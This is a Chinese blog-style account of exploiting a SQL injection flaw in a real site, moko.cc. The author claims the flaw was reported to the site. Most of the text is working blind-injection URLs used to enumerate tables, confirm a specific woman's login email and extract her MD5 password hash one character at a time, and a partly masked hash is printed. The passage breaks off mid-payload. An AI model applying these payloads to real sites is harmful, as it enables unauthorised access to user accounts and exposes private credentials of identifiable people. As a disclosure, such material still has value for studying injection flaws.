moko.cc的SQL注入漏洞攻击实录
声明:此漏洞已经我提交到 moko.cc 官方,而且提交了两次。因此漏洞造成的任何后果,本人不承担任何责任。文中关键数据我已隐去。 最近moko.cc红得很快,上面美女帅哥如云。娱乐圈很乱很热闹,我这个it圈的人还没混到一个moko的邀请码。某日在moko闲逛,看到有一个美女bbs,帖子的地址是这样的结构: http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 一看就手痒了,鉴于这是moko自己开发的系统,很有可能存在注入漏洞。于是测试了一下: http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27-1 页面正常返回,而且看到的是id为26的帖子。这说明服务器端存在数字型的注入漏洞,这是最初级的sql注入漏洞了。 下一步就是猜解表名,用类似下面的方式: http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and 0<(select count(*) from table_name) 如果页面返回正常,就说明猜到了对的表名。猜测的结果,有topic、user、friend这些表。user表里面存放了用户信息,就从user表入手。通过探测,发现user表包含这些字段:username, password, userid。其中,userid是数字id,username就是用户用于登录的邮箱,password不用说了,就是密码。尝试下面的地址,页面正常显示,说明密码长度是32。 http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and 32=(select length(password) from user where userid=xx) 很少有人会设置长度为32的密码,可以断定,这里的密码是经过了md5加密的。所以,即使拿到了密码,能不能破解也得看运气。正巧webleon在twitter推荐了一个moko的美女,我就找到了她在moko的数字id。 先搜了一下这mm的邮箱,搜到是xxx@yahoo.cn。拿来测试了一下,果然也是moko的注册邮箱,这样就省得一位一位破解: http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and ‘xxx@yahoo.cn’=(select username from user where userid=xx) 下面破解密码,这可偷懒不得,需要一位一位破。由于是md5加密,最后每一位只可能是0到e这16个字符,所以很好猜。猜的过程需要一些技巧,我只写一个大概的格式: http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and (102=(select ASCII(SUBSTRING(password,9,1)) from user where userid=754)) SUBSTRING是mysql的函数,用于从字符串中截取子串。在这里,使用SUBSTRING(password,9,1),就表示将password字段的字符串,从第9位开始,截取一个长度为1的子串,其实就是取得第9个字符。 ASCII是另一个函数,用来计算传入字符串的ASCII码。如果传入的字符串长度大于1,就返回第一个字符的ASCII码。所以整个ASCII(SUBSTRING(password,9,1))就是取得password字段第9位的ASCII码值,然后与外面的数字相比较。这里用折半查找的话,一般三四次就能猜出一位,如果可以,写个小脚本跑一下更快。当然,我手动猜出全部32位,也只花了不到10分钟。 得到该MMmd5加密之后的密码是”96e79218965eb72c92a549dd5axxxxxx”,验证一下: http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and (’96e79218965eb72c92a549dd5axxxxxxx’=(select password from user where [...]

